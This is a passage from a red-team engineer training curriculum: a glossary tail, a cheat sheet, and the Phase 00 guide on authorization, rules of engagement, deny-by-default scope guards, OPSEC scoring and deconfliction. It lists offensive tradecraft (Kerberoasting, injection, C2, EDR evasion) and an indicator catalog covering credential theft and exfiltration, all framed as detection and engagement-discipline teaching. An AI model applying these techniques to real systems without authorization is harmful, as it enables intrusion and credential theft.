- Sigma — a vendor-neutral detection-rule format; the way findings are handed to a SOC as durable detections. P07, P12.
- sRDI / reflective loading — loading a DLL/PE from memory without touching disk; a classic evasion and detection target. P06.
- SPN — Service Principal Name: the AD identifier that makes an account Kerberoastable. P05.
- Sysmon — a free Windows telemetry sensor (process, network, image-load events) that underpins most home-grown detection. P06, P07.
T
- TGT / TGS — Ticket-Granting Ticket / Service Ticket: the two Kerberos ticket types; golden/silver-ticket forgery targets them. P05.
- TTP — Tactics, Techniques, and Procedures: the behavioral level of the Pyramid of Pain; what emulation reproduces. P01.
V
- VECTR — a free purple-team tracking tool for emulation campaigns and detection coverage over time. P12.
W
- WDAC / AppLocker — Windows application-control technologies that constrain what can execute. P06, P07.
- WinRM / WMI / SMB — the common Windows remote-execution and lateral-movement transports. P03, P05.
Red Team Engineer — One-Page Cheat Sheet
Fast recall for the engagement lifecycle, the frameworks, and the per-phase tradecraft. Each row points at the phase that covers it from zero. All of this is for authorized engagements only.
The Attack Lifecycle (Mandiant / ATT&CK tactics)
Recon → Resource-Dev → Initial-Access → Execution → Persistence → Priv-Esc →
Defense-Evasion → Credential-Access → Discovery → Lateral-Movement → Collection →
Command-and-Control → Exfiltration → Impact
Defenders "defend left": the earlier in the chain you can detect/break it, the cheaper the win.
The Three Lenses
| Lens | Question it answers | Use when |
|---|---|---|
| Cyber Kill Chain | "how far along is this intrusion?" | sequencing a campaign, defend-left |
| MITRE ATT&CK | "what behavior, and can we detect it?" | planning emulation, coverage, reporting |
| Diamond Model | "what else is connected to this?" | pivoting on infra/capability, attribution |
Engagement Discipline (Phase 00–01)
- ROE first: owner, scope (in/out), methods, data handling, time window, rate limits, stop conditions, deconfliction contact, get-out-of-jail-letter.
- OPSEC: every action emits indicators — host, network, identity, time. Minimize, blend, log your own actions for deconfliction.
- Emulation plan: CTI on a named actor → selected ATT&CK techniques → procedures → success criteria.
Per-Phase Tradecraft
| Phase | The one thing | Key telemetry the blue team has |
|---|---|---|
| 02 Tooling | a tool you can't name the IOCs of is a liability | static signatures, import tables, named pipes, on-disk artifacts |
| 03 Network | pivoting = reachability over a host/credential graph | netflow, DNS, proxy logs, segmentation boundaries |
| 04 Privesc | misconfig > exploit; enumerate the local trust graph | process creation, token use, service changes, SUID/sudo |
| 05 AD | identity is the perimeter; Kerberos is the language | 4768/4769 tickets, 4624 logons, LDAP queries, ADCS issuance |
| 06 Payloads | execution always emits something; pick the quiet primitive | image/thread/handle events, AMSI, ETW, memory anomalies |
| 07 EDR | predict what the sensor sees; evasion ≙ a detection idea | kernel callbacks, ETW-TI, user-mode hooks, AMSI |
| 08 C2 | beacons have a rhythm; OPSEC is in the traffic profile | jitter/interval, JA3/JA4, SNI/domain, byte counts |
| 09 Cloud | identity is the cloud perimeter; metadata = keys | CloudTrail/Activity logs, IAM changes, IMDS hits |
| 10 SocEng | the human is the easiest initial-access vector | email auth (SPF/DKIM/DMARC), proxy, link detonation |
| 11 RE/Vuln | imports + strings tell you a binary's capability | n/a (your own analysis) |
| 12 Report | the finding is the detection gap, not "we won" | VECTR coverage, Sigma rules delivered |
OPSEC Indicator Quick-Map (what emits what)
| Action | Host telemetry | Network telemetry | Identity telemetry |
|---|---|---|---|
| Run a tool | process create, image load, AMSI/ETW | — | — |
| Inject into a process | thread create (cross-proc), handle, RWX memory | — | — |
| Lateral move (SMB/WMI/WinRM) | service/named-pipe, 4624 type 3 | SMB/RPC flows | new logon, ticket request |
| Kerberoast | — | — | 4769 RC4, many SPNs |
| C2 beacon | — | periodic flows, JA3/JA4, SNI | — |
| Cloud key use | — | IMDS hit | CloudTrail AssumeRole from new IP |
The Pyramid of Pain (what hurts the adversary most)
TTPs ← hardest to change → focus detections here (behavioral)
Tools
Network/Host Artifacts
Domain Names
IP Addresses
Hash Values ← trivial to change → weakest detection
Reporting Skeleton (Phase 12)
- Executive summary (business risk, one page, no jargon)
- Engagement scope & ROE recap
- Attack narrative (the kill chain, mapped to ATT&CK)
- Findings (each: precondition, evidence, demonstrated vs. plausible impact, remediation, detection)
- Detection-gap matrix (ATT&CK Navigator layer: what fired, what didn't)
- Prioritized remediation roadmap (cost vs. risk)
- Appendices (evidence manifest, tooling IOCs handed to the SOC for purge)
Cardinal Rules
- Authorization and intent — not knowledge — separate you from the adversary.
- Every offensive action ends in a detection.
- Stop at minimum proof.
- The deliverable is a defensible risk decision, not a trophy.
Phase 00 — Engagement Foundations: Authorization, ROE, OPSEC & Deconfliction
What this is. The phase that makes the authorization boundary reflexive before any offensive technique is taught. A red team consultant is a person a company pays to attack it — and the only thing that separates that work from a crime is a signed contract, a scope, stop conditions, and a deconfliction channel back to the defender. This phase turns those four words into operating discipline: you learn to scope an engagement, write Rules of Engagement (ROE), plan OPSEC (what your activity will emit and to whom), and deconflict with the client's Security Operations Center (SOC) so the blue team can tell your beacon from a real intruder's.
Why it exists (the gap it closes). Every other phase teaches a technique. This phase teaches the frame around every technique — the part that, when skipped, ends careers and engagements. A penetration tester who attacks a host because it was reachable, a red teamer who runs ransomware-like impact outside the window, an operator who can't tell the SOC "yes, that 3 a.m. alert was us" — each has failed the only test that is non-negotiable. Phase 00 makes the boundary mechanical: a deny-by-default authorization guard and an OPSEC/deconfliction planner you run before you act.
The ethical frame (read this first — it is not optional). Consistent with the track overview's authorization boundary:
- The labs are planners and guards over synthetic ROE and action metadata — there is no exploitation, no live target, no payload, no clock, no network.
- The difference between a red teamer and a criminal is authorization and intent, not knowledge. This phase is the authorization, made explicit and testable.
- If you cannot name the owner, the scope, the stop conditions, and the deconfliction contact for an action, you do not take the action. This phase makes that check a function you can run, not a feeling you hope you have.
In Operation Cedar Lattice (the track-wide engagement against fictional client Meridian Freight International), Phase 00 is where you scope the engagement: the in-scope CIDRs, domains, and emulation accounts; the explicitly out-of-scope carve-outs (payments, production data, third parties); the permitted methods and the forbidden ones; the time window and rate limits; the stop conditions; and the deconfliction contact at Meridian's SOC. Every later phase inherits this boundary.
Prerequisites. None beyond being a competent software engineer. The labs are pure Python (stdlib + pytest), offline, deterministic. Read the track README and LAB-STANDARD.md first.
Learning Objectives
By the end you can, without notes:
- Explain why authorization — not knowledge — is the boundary, and name the four things you must be able to state before any action: owner, scope, stop conditions, deconfliction contact.
- Write Rules of Engagement that are unambiguous: in/out-of-scope assets, permitted/forbidden methods, time window, rate limits, data handling, stop conditions, and deconfliction — and explain why ambiguity defaults to out-of-scope.
- Implement deny-by-default authorization: anything not explicitly in scope is denied, and out-of-scope overrides in-scope — with real CIDR math and a subdomain matcher that is not fooled by substrings.
- Reason about OPSEC as a risk you can score: the noise, novelty, blast radius, timing, and reversibility of an action, and the indicators it emits on the host, network, and identity planes.
- Run deconfliction: decide which actions the SOC must be told about in advance, and keep the log that lets the SOC answer "was that you?" for any time window — without launching a real incident response.
- Build the engagement operating manual and an isolated, deny-by-default range so practice never touches anything you do not own.
Core concepts
| Concept | One-line | Where it lives |
|---|---|---|
| Authorization boundary | knowledge is not permission; the signed contract is | WARMUP Ch.1, README §0 of the track |
| Rules of Engagement (ROE) | the contract: scope, methods, time, rate, data, stop, deconfliction | WARMUP Ch.2; templates/rules-of-engagement.md |
| Scope & deny-by-default | explicitly-listed only; out-of-scope overrides in-scope; fail closed | WARMUP Ch.3–4; Lab 01 |
| Time window & rate limits | act only inside the window and under the rate; both are gates | WARMUP Ch.5; Lab 01 |
| Stop conditions | the latch that halts everything immediately | WARMUP Ch.6; Lab 01 |
| OPSEC | how loud an action is and what telemetry it leaves | WARMUP Ch.7; Lab 02 |
| Indicators (host/net/identity) | the telemetry a technique emits, per plane | WARMUP Ch.8; Lab 02 |
| Deconfliction | the "was that you?" channel to the SOC; the operator's log | WARMUP Ch.9; Lab 02 |
| Evidence & chain-of-custody | hash at collection; record source/time/collector | HITCHHIKER; templates/evidence-manifest.md |
| The isolated range | owned, deny-by-default egress, snapshot/rebuild, teardown | HITCHHIKER; track README §7 |
Labs
| Lab | Builds | Concept |
|---|---|---|
| Lab 01 — Engagement ROE Authorization Guard | a deny-by-default guard that decides ALLOW/DENY for a proposed action against scope, method allowlist, time window, and rate limit (with reasons) | authorization, scope, fail-closed |
| Lab 02 — OPSEC Risk Scorer + Deconfliction Log | an OPSEC risk band + per-plane indicator enumeration + a deconfliction threshold + a "was that you?" log | OPSEC, indicators, deconfliction |
Each lab follows LAB-STANDARD.md: lab.py (TODOs), complete solution.py,
adversarial test_lab.py, README.md, requirements.txt.
cd lab-01-engagement-roe-guard
LAB_MODULE=solution pytest -q # reference passes
pytest -q # your implementation after the TODOs
Deliverables
- An engagement operating manual: a filled-in ROE for Operation Cedar Lattice, an OPSEC plan (the indicators you expect to emit and the deconfliction contacts), and a range diagram of your isolated lab.
- A deny-by-default authorization guard (Lab 01) you can run against any proposed action and get ALLOW/DENY with reasons — the machine form of the boundary.
- An OPSEC scorer + deconfliction log (Lab 02) that scores risk, enumerates indicators per plane, flags actions that need pre-deconfliction, and answers the SOC's "was that you?".
- The ability to defend your OPSEC and authorization choices in an interview, and to scope a safe engagement from a blank page.
Readings
Primary sources first; narrowed to what this phase needs.
- Red Team Development and Operations — Vest & Tubberville: the ROE, deconfliction, and operating cadence of a real engagement.
- PTES (Penetration Testing Execution Standard) — Pre-engagement Interactions: scope, rules, and the get-out-of-jail letter.
- NIST SP 800-115 — Technical Guide to Information Security Testing and Assessment: rules of engagement, handling of sensitive data, coordination.
- MITRE ATT&CK Data Sources — to read indicators back to the telemetry that detects them (used directly by Lab 02; revisited in Phase 07).
- OSSTMM and CREST engagement-management guidance — the consulting-side discipline.
- The track templates:
rules-of-engagement.md,evidence-manifest.md,lab-acceptance-checklist.md.
Common mistakes (and the failure they cause)
- Allowlist by substring. Matching
corp.meridian-freight.testwithin targetletsevil-meridian-freight.testthrough — an out-of-scope hit. Use exact-or-subdomain matching (Lab 01). - In-scope superset hides a carve-out. A broad
/16that contains a protected/24must let out-of-scope override in-scope, or you attack a production subnet. - Forgetting the window is half-open. Acting at exactly
window_endis outside the window. - Acting before deconfliction. A loud, novel action that trips an alert with no prior heads-up burns the SOC's night and may trigger containment that ends the engagement.
- No indicator list. "I can't say exactly what that emits" means the SOC cannot deconflict it and the blue team learns nothing — the action was offensive theater, not a red team exercise.
- Practicing on something reachable. Reachability is never authorization. If you cannot name the owner, you do not touch it.
Interview questions (full answers in the WARMUP)
- What separates a red team engagement from a crime, and what four things must you be able to state before any action?
- Why must an authorization guard be deny-by-default, and why does out-of-scope override in-scope?
- How do you stop a scope check from being fooled by a look-alike domain?
- What is OPSEC, and how would you score the risk of a planned action?
- What is deconfliction, what is the deconfliction log for, and what goes wrong without it?
- The SOC calls at 3 a.m. about an alert — walk me through how you answer "was that you?".
Portfolio artifact
The sanitized 00-operating-rules/ package: the Operation Cedar Lattice ROE, the OPSEC plan, the
deconfliction procedure, the range diagram, and the two tools (the ROE guard and the OPSEC/
deconfliction planner) with their tests and expected output. This is the artifact that proves — before
any technique — that you operate inside a boundary you can defend.
Safety
Authorized-lab-only and entirely offline; the labs reason over synthetic ROE and action metadata. No exploitation, no live targets, no payloads, no persistence/stealth tooling. This phase builds the judgment and discipline that makes every later offensive capability a defensible, hireable asset rather than a liability.
Warmup Guide — From "I Have a Technique" to "I Have Authorization"
Zero-to-principal primer for Phase 00. It builds, from first principles, the discipline that wraps every offensive technique you will ever run: the authorization boundary, the Rules of Engagement (scope, methods, time, rate, data, stop conditions), deny-by-default authorization, OPSEC (the noise and indicators an action emits), and deconfliction with the client's SOC. Assumes only that you can program. By the end you should be able to scope an engagement from a blank page, decide ALLOW/DENY for any proposed action and explain why, score an action's OPSEC risk and name the telemetry it leaves, and answer the SOC's 3 a.m. "was that you?" without ending the engagement.
Table of Contents
- Chapter 1: The Authorization Boundary — Knowledge Is Not Permission
- Chapter 2: Rules of Engagement — The Contract That Makes It Legal
- Chapter 3: Scope — What "In Scope" Actually Means
- Chapter 4: Deny-by-Default — Why Authorization Must Fail Closed
- Chapter 5: Time Windows and Rate Limits — The Other Two Gates
- Chapter 6: Stop Conditions and the Emergency Stop
- Chapter 7: OPSEC — How Loud Is This, and Who Hears It?
- Chapter 8: Indicators — The Telemetry Every Action Emits
- Chapter 9: Deconfliction — Answering "Was That You?"
- Chapter 10: Evidence and Chain-of-Custody
- Lab Walkthrough
- Success Criteria
- Common Mistakes / OPSEC Failures
- Interview Q&A
- References
Chapter 1: The Authorization Boundary — Knowledge Is Not Permission
Zero background. A red team consultant is a person a company pays to attack it. That sentence is strange until you internalize the single idea this whole phase exists to make reflexive: the same action — port-scanning a host, phishing an employee, dumping credentials — is either professional security work or a felony, and the only thing that decides which is authorization. Not skill. Not intent in your head. A signed contract, a named owner, and a written scope.
What it is. The authorization boundary is the line between actions you may take and actions you may not, defined by who owns the target and what they have agreed in writing to let you do. For this work it has four load-bearing parts you must be able to state out loud before any action:
OWNER — who owns this asset, and who signed authority to let me test it?
SCOPE — exactly which assets, methods, and time are permitted?
STOP — what halts the engagement immediately, and who can pull that lever?
DECONFLICT — who does the SOC call to ask "is this you?" — and how do I answer?
If you cannot name all four, you do not take the action. Full stop.
Why it exists. Computer-misuse law (the U.S. CFAA, the UK Computer Misuse Act, and equivalents in the Gulf states where this role operates) criminalizes unauthorized access — and "I was just testing," "it was reachable," or "I didn't change anything" are not defenses. The entire value a red team delivers depends on the engagement being lawful and the client being able to learn from it; an unauthorized action destroys both at once. The boundary is not bureaucracy bolted onto the fun part — it is the profession.
Under the hood — the distinction that matters. Separate three things people constantly conflate:
- Knowledge — understanding how a technique works. Legal, and the entire point of this curriculum.
- Capability — possessing the means to run it. Also legal to build in an owned lab.
- Authorization — being permitted to run it against a specific target. This is the boundary.
A red teamer and a criminal can have identical knowledge and capability. What differs is the third column. This is why this repo teaches the full adversary lifecycle but ships analyzers, planners, and guards over synthetic data — knowledge and (safe) capability, never an unauthorized action.
Telemetry it emits. The authorization boundary is a human/legal control, but it has an artifact: the signed authorization letter (the "get-out-of-jail" letter) and the ROE, kept reachable for the whole engagement. Its absence is the telemetry — an action with no traceable authorization is the thing an audit, a client, or a court will find.
How a defender deconflicts it. From the blue team's side, the boundary is what lets them treat a detected intrusion as possibly authorized. When the SOC sees suspicious activity, the first question in a mature shop is "is there an active engagement, and is this in its scope and window?" That question only has an answer if you wrote the boundary down and gave them the deconfliction contact.
Engagement significance. In Operation Cedar Lattice this is Phase 00's entire job: before you touch Meridian Freight International, you and Meridian sign the ROE, fix the scope, agree the stop conditions, and exchange deconfliction contacts. Every later phase inherits this boundary — the recon in Phase 03, the AD attack in Phase 05, the C2 in Phase 08 are all only lawful because of what you nailed down here.
Common misconceptions.
- "It's only illegal if I cause damage." No — unauthorized access is the offense; damage is an aggravating factor, not the threshold.
- "The system is on the public internet, so it's fair game." Reachability is never authorization.
- "I have a verbal OK from someone on the team." The signatory must have authority to grant access, and it must be in writing. Verbal scope is no scope.
Chapter 2: Rules of Engagement — The Contract That Makes It Legal
Zero background. The Rules of Engagement (ROE) is the document that turns "we hired a red team"
into a precise, enforceable boundary. It is the contract the operator obeys and the client relies on.
The track ships a template — templates/rules-of-engagement.md
— and the discipline of this phase is filling every field, because the governing rule is:
ambiguity defaults to out-of-scope.
What it is. A complete ROE answers seven questions:
| Section | The question it answers |
|---|---|
| Authorization | Who owns this, who signed, and is the get-out-of-jail letter on file? |
| Scope | Which assets are in scope, which are explicitly out, and what is "success"? |
| Methods | Which techniques are permitted, and which are forbidden? |
| Time & Rate | When may I act (window, hours) and how fast (rate, concurrency)? |
| Data handling | Where is evidence stored, and what about real/personal data? |
| Deconfliction & safety | Who is the 24/7 contact, what are the stop conditions, how do I emergency-stop? |
| Reporting | What deliverables, by when? |
Why it exists. Three failure modes it prevents, each a real incident pattern:
- The scope-creep crime — an operator follows an attack path off the agreed assets onto a third party's infrastructure. The ROE's explicit out-of-scope list and deny-by-default scope stop this.
- The business-impact incident — testing during month-end financial close knocks over an ERP, or an aggressive scan saturates a link. The time window, permitted-hours, and rate limits prevent it.
- The false-alarm fire drill — the SOC mobilizes a real incident response over the red team's own activity. The deconfliction contact and procedure prevent it.
Under the hood — why "ambiguity defaults to out-of-scope." A natural-language scope is full of
gaps: a /16 that contains a subnet nobody meant to include; "the corp domain" that someone reads as
covering a sibling brand; "during business hours" with no timezone. The only safe interpretation rule
is the deny-by-default one: if it is not explicitly, unambiguously in scope, it is out. The ROE is
written so that every gap resolves to don't.
Telemetry it emits. The ROE itself is the primary record; combined with the authorization letter and the evidence manifest it forms the paper trail an engagement is judged by. A mature engagement can show, for any action, the ROE clause that permitted it.
How a defender deconflicts it. The client's trusted agent (the small set of people who know the test is happening) holds the ROE; when the SOC escalates, the trusted agent checks the action against the ROE's scope, methods, and window to confirm "yes, that is authorized red team activity."
Engagement significance. For Cedar Lattice, the ROE names Meridian's in-scope corp.* domain and
10.20.0.0/16, carves out payments.* and the 10.20.99.0/24 PCI subnet as out-of-scope, permits
recon/exploitation/lateral-movement, forbids DoS and touching real customer data, sets a one-week
window with a rate cap, and names the SOC deconfliction contact. Lab 01 is this ROE made
executable.
Common misconceptions.
- "The ROE is the sales team's problem." The operator lives or dies by it; read and challenge every ambiguous clause before you sign.
- "More scope is better." No — tighter, clearer scope protects you. Vague breadth is liability.
- "The forbidden list is obvious." Write it down anyway: DoS, destructive actions, persistence past the window, real-data access, and social-engineering of named individuals are each a clause.
Chapter 3: Scope — What "In Scope" Actually Means
Zero background. Scope is the set of assets you are permitted to act against. It sounds simple —
"these IPs and this domain" — but the precise mechanics of matching a target against a scope are
where engagements go wrong. This chapter is the mechanism behind in_scope() in Lab 01.
What it is. A scope is three kinds of allowlist plus three matching denylists:
- CIDRs — network ranges, e.g.
10.20.0.0/16. A target IP is in scope if it is a member of an in-scope CIDR and not a member of an out-of-scope CIDR. - Domains — e.g.
corp.meridian-freight.test. A hostname is in scope if it matches an in-scope domain by exact-or-subdomain and does not match an out-of-scope domain. - Accounts — emulation identities, e.g.
svc-emul-01, matched by exact id.
Why exact-or-subdomain, not substring. Here is the single most important mechanism in Lab 01. The naive scope check is a substring test:
if scope_domain in target: # WRONG — catastrophically permissive
...
This passes evil-meridian-freight.test for an in-scope meridian-freight.test, and worse, an
attacker (or your own typo) can craft corp.meridian-freight.test.evil.example to look in-scope. The
correct rule is:
target matches d iff target == d OR target endswith "." + d
So host1.corp.meridian-freight.test matches corp.meridian-freight.test (it is a subdomain), but
evil-meridian-freight.test does not (it does not end with .corp.meridian-freight.test, and is
a different registrable name entirely). This is the same logic browsers use for cookie domains and
that TLS uses for wildcard certs — and getting it wrong is the same class of bug as a same-site cookie
leak.
Under the hood — CIDR membership is real math, not strings. Do not compare IP strings. Use the
ipaddress stdlib:
import ipaddress
ip = ipaddress.ip_address("10.20.99.10")
ip in ipaddress.ip_network("10.20.0.0/16") # True
ip in ipaddress.ip_network("10.20.99.0/24") # True -> out-of-scope wins
10.20.99.10 is inside the in-scope /16 and inside the out-of-scope /24. Because out-of-scope
overrides in-scope (Chapter 4), the target is denied — exactly the protected-subnet carve-out a
real ROE has.
Telemetry it emits. A scope decision is logged with its reasons (Lab 01 returns a reason trail). That log, paired with the deconfliction log (Chapter 9), lets anyone reconstruct what was authorized.
How a defender deconflicts it. When the SOC asks "did the red team touch host X?", the answer is a scope lookup plus a deconfliction-log lookup. If host X was out of scope, and the team logged no action there, the SOC knows the activity is not the red team — a real finding.
Engagement significance. The scope is the spine of Lab 01 and of every later phase's target selection. Carry the Cedar Lattice scope object forward unchanged.
Common misconceptions.
- "The /16 covers everything inside it." Not if a sub-range is carved out — out-of-scope overrides.
- "Subdomains of an in-scope domain are obviously in scope." Only if your ROE says so and they are not separately carved out; encode it explicitly.
- "I can match domains with
endswithalone."endswith("corp.com")matchesevilcorp.com; you need the leading dot:endswith(".corp.com")plus the exact-equality case.
Chapter 4: Deny-by-Default — Why Authorization Must Fail Closed
Zero background. A guard can default two ways. Default-allow (denylist) permits everything except what is on a blocklist. Default-deny (allowlist) forbids everything except what is on an allowlist. This chapter argues — and Lab 01 enforces — that an authorization guard must be deny-by-default.
What it is. Deny-by-default means: an action is allowed only if it affirmatively matches an in-scope entry and passes every gate (scope, method, time, rate, no stop). Anything unrecognized, ambiguous, or merely "not obviously forbidden" is denied. The decision fails closed.
Why it exists. Consider the alternative. A denylist guard says "deny actions on the out-of-scope list, allow the rest." The moment the ROE author forgets to list a sensitive host — which they will, because you cannot enumerate every host you don't know about — that host is silently allowed. Deny-by-default inverts the failure: a forgotten entry means a false denial (annoying, you ask for clarification) instead of a false authorization (a crime). You want your mistakes to fail in the safe direction.
This is the same principle as a firewall's default-drop egress policy, an IAM explicit-deny, and a WAF positive-security model. It is the single most important design rule in all of security, and Phase 00 makes you live it before you attack anything.
Under the hood — the gate structure. Lab 01's check_action is a conjunction of gates that
collects every failure rather than short-circuiting:
ALLOW iff NOT stop_engaged
AND in_scope(target) # explicit in-scope, out-of-scope overrides
AND method_allowed(method) # allowlist
AND within_window(timestamp) # [start, end)
AND rate_ok(timestamp, history) # count in rolling window <= limit
otherwise DENY with the list of every failing reason
Two design choices matter. First, out-of-scope overrides in-scope inside in_scope() — the
denylist is consulted before the allowlist, so a carve-out always wins. Second, the guard does not
short-circuit: it reports all failing gates, because a deconfliction report and an audit need to
see every reason an action was refused, not just the first.
Telemetry it emits. Every decision yields {decision, reasons}. The reason trail is the audit
artifact — it is what you attach to the engagement log and hand to the trusted agent.
How a defender deconflicts it. Deny-by-default is also the control you will recommend to the client: the engagement that succeeds by bypassing a default-allow egress rule writes itself into the report as "implement deny-by-default egress." The pattern you enforce on yourself is the pattern you sell.
Engagement significance. Lab 01 is a deny-by-default guard end to end. Internalize it: by the time
you reach cloud IAM (Phase 09) you will read Deny overriding Allow as the same idea.
Common misconceptions.
- "Default-allow is fine if my denylist is good." Your denylist is never complete; you cannot list the unknown.
- "Fail-closed just means more friction." It means the friction lands on safe mistakes, not dangerous ones — which is the entire point.
- "Short-circuit on the first failure for speed." For an authorization guard, completeness of reasons beats microseconds; collect them all.
Chapter 5: Time Windows and Rate Limits — The Other Two Gates
Zero background. Scope answers where; the window and the rate answer when and how fast. Both are gates in their own right — an in-scope, permitted action run at the wrong time or too aggressively is still a violation and still a business risk.
What it is.
- A time window is a
[start, end)interval: a start (inclusive) and an end (exclusive). The half-open convention matters — an action at exactlyendis outside the window. (This is the same convention as a Pythonrangeor a half-open interval in math; using it avoids the off-by-one where two adjacent windows both claim the boundary instant.) - A rate limit caps how many actions may occur within a rolling time window, e.g. "no more than 3 actions per 60 seconds." It is the engagement-OPSEC and business-safety throttle: it keeps you from hammering a service into an outage and from generating a wall of alerts.
Why it exists. Two distinct risks. The window prevents out-of-hours business impact (no testing during the change freeze, the financial close, or peak operational hours) and bounds the engagement legally in time — your authorization is not open-ended. The rate limit prevents denial-of-service by accident (a scan that saturates a link is a DoS even if you didn't mean it) and keeps your activity below the threshold where it becomes operationally disruptive.
Under the hood — the rolling-window rate check. Lab 01 counts prior actions in the half-open
interval (t - W, t] from a supplied history and compares count + 1 (including the new action) to
the limit:
window = (timestamp - rate_window_secs, timestamp]
count = number of history actions with ts in that window
ALLOW iff count + 1 <= rate_limit
Because the history and timestamp are supplied by the caller, the check reads no clock and is
perfectly reproducible — the same inputs always give the same decision. (A production guard would
source history from a persisted action log; here it is a parameter so tests are deterministic.)
Telemetry it emits. Rate-limited actions appear as gaps in your own action log; from the defender's side, an engagement that respects a rate limit produces a characteristically paced signal, which is itself a deconfliction aid ("the spike at 02:14 was 200 req/s — not the red team, who are capped at 3/min").
How a defender deconflicts it. The window is the SOC's first filter: an alert outside the agreed window is, by default, not the red team and should be treated as a real incident. This is why the window must be exact and timezone-pinned.
Engagement significance. In Cedar Lattice the window is one week with a per-minute rate cap; acting at exactly the window-end instant is denied, and a 4th action inside a minute is denied. Both are tested in Lab 01.
Common misconceptions.
- "The window is closed at both ends." It is half-open;
endis excluded by convention to avoid boundary ambiguity. Be explicit either way and test the boundary. - "Rate limits are just politeness." An uncapped scan is an accidental DoS — a forbidden method by another name.
- "Timezone is obvious." It is the single most common scope-window bug. Pin it in the ROE.
Chapter 6: Stop Conditions and the Emergency Stop
Zero background. A stop condition is anything that must halt the engagement immediately. The emergency stop is the procedure that does it. Together they are the engagement's circuit breaker — the acknowledgment that even a well-scoped test can go wrong and must be haltable in seconds.
What it is. Stop conditions are written into the ROE and typically include: a production outage or degradation, the discovery of a real (non-red-team) intrusion, a safety risk to people, an inadvertent reach into out-of-scope or real customer data, or a client request to halt. When any fires, all activity stops until the trusted agent and the client agree to resume.
Why it exists. Two reasons. First, harm limitation: if your activity is causing a real business problem, no objective is worth continuing. Second, incident clarity: if a real attacker is in the environment, the red team's noise makes the defender's job impossible — you stop so the real incident can be handled cleanly, and so your activity is never confused with the adversary's.
Under the hood — the latch. In Lab 01 the stop condition is a stop_engaged latch on the ROE.
When set, check_action denies every action unconditionally, regardless of scope, method, window,
or rate — the stop gate is checked first and dominates. This models the operating reality: when the
stop is pulled, nothing is authorized, no exceptions, until it is explicitly cleared.
if stop_engaged: every action -> DENY ("stop-condition-engaged")
Telemetry it emits. The emergency stop is logged with its trigger, time, and who pulled it — it is a first-class event in the engagement record, because "we stopped at 14:32 when the ERP degraded" is exactly what the after-action and the client trust depend on.
How a defender deconflicts it. The stop condition is bidirectional: the client can pull it too. The deconfliction contact is also the emergency-stop channel — the SOC calls, says "we have a real incident, stand down," and the operator latches the stop. The red team that cannot be reached to stop is a red team that will not be hired again.
Engagement significance. For Cedar Lattice the stop conditions are: any Meridian production outage, any sign of a real intruder, any reach toward the PCI subnet or real customer data, and any client stand-down. Lab 01's stop latch enforces the first principle: a stopped engagement authorizes nothing.
Common misconceptions.
- "Stopping means I failed." Stopping correctly is a mark of a senior operator; the failure is not stopping.
- "I'll finish this one action first." When the stop is pulled, you stop now — the latch denies everything precisely so there is no "one more."
- "Only the client can stop." Either side can; you must monitor your own activity for stop triggers too.
Chapter 7: OPSEC — How Loud Is This, and Who Hears It?
Zero background. OPSEC (operational security) is the discipline of controlling the observable signal your activity produces. For a red teamer it answers: how loud is this action, how unusual does it look, how much does it touch, and how hard is it to undo? Every action sits somewhere on those axes, and the senior skill is choosing where — not stumbling there.
What it is. Lab 02 models OPSEC risk as a transparent weighted sum over five attributes:
| Attribute | Meaning | Why it raises risk |
|---|---|---|
| noise | how much telemetry the action generates | more logs/alerts to trip a detection |
| novelty | how anomalous it looks vs. a baseline | anomaly is detection bait |
| blast radius | how many hosts/identities/services it touches | wider footprint, more chances to be seen, more to clean up |
| time of day | business hours vs. off-hours | off-hours activity stands out against a quiet baseline |
| irreversibility | how hard it is to undo | a stop-condition multiplier; the harm if it goes wrong |
score = 3*noise + 2*novelty + 3*blast_radius + 1*time_of_day + 2*irreversibility
band = low (<4) | medium (<9) | high (<15) | critical (>=15)
Why it exists. OPSEC is what makes an emulation realistic (a real adversary minimizes detection) and what keeps the engagement controlled (you decide what to trip, deliberately, so the blue team's response is a measured outcome and not chaos). The weighted score turns a gut feeling ("this is loud") into a number you can compare, threshold, and defend in the report.
Under the hood — why a transparent linear model, not a black box. The weights are exposed as a module constant precisely so a reviewer (and a test) can see exactly what drives a decision. A calibrated ML model might score more accurately, but a red team decision must be explainable: "this action scored critical because blast radius and noise dominate" is something you can defend to a client and tune to their detection maturity. The model is a defensible default, not a claim of precision — and the README says so.
Telemetry it emits. This is the meta-point of the whole chapter: a high-OPSEC-risk action is, by definition, one that emits a lot of telemetry. Chapter 8 enumerates exactly what. The score and the indicators are two views of the same thing — what will the defender see?
How a defender deconflicts it. The OPSEC score directly drives the deconfliction decision (Chapter 9): above a threshold, the action is loud enough that the SOC must be warned in advance or they will (correctly) treat it as an incident. Quiet recon does not need a phone call; a noisy lateral move to a domain controller does.
Engagement significance. Every Cedar Lattice action gets an OPSEC assessment before it runs. Lab 02 is that assessment: score, band, indicators, deconfliction decision — the operator's pre-flight check.
Common misconceptions.
- "OPSEC means never getting caught." No — for a red team it means controlling what gets caught, on purpose, to produce a measured detection outcome.
- "Off-hours is stealthier." Often the opposite — your activity stands alone against a quiet baseline. Blending into business-hours noise can be quieter.
- "A black-box score is more rigorous." For a defensible decision, transparency beats accuracy.
Chapter 8: Indicators — The Telemetry Every Action Emits
Zero background. An indicator is an observable trace an action leaves behind. Every offensive action emits indicators on one or more planes: the host (process, file, registry, memory events), the network (connections, protocols, traffic shape), and the identity plane (authentication, ticket requests, sign-in anomalies). Naming them is the act that converts offensive knowledge into a detection-paired asset.
What it is. Lab 02 carries an INDICATOR_CATALOG mapping each method to the indicators it
characteristically leaves, split by plane. A slice:
| Method | Host | Network | Identity |
|---|---|---|---|
| recon | — | connection burst to many ports/hosts; scanner fingerprint | — |
| execution | new process (Sysmon EID 1); script-block log (PowerShell 4104) | — | — |
| credential-access | LSASS handle/read (Sysmon EID 10) | — | many SPN ticket requests (Kerberoasting, EID 4769) |
| lateral-movement | service install; named-pipe creation | SMB/WinRM/RDP to a new host | logon type 3/10 from an unusual source (EID 4624) |
| c2 | persistent outbound process | beacon: periodic same-size requests, jittered; rare domain/JA3 | — |
| exfiltration | large reads / archive creation | large/asymmetric outbound to a web service | — |
Why it exists. This is the bridge from offense to defense and the reason this curriculum is a hireable one. For every technique you can perform, you must be able to say what a sensor sees. That single ability is what lets you (a) deconflict honestly with the SOC, (b) write the detection in the report, and (c) predict — in Phase 07 — exactly what the client's EDR, AMSI, and ETW telemetry will and won't catch. An operator who cannot enumerate indicators is running offensive theater.
Under the hood — the three planes, and why they matter. Detection lives in different telemetry sources, and a technique is only caught if the right plane is instrumented:
- Host — Sysmon, ETW, EDR. Catches process creation, injection, LSASS access. The richest plane, but only if the agent is deployed and the events are shipped.
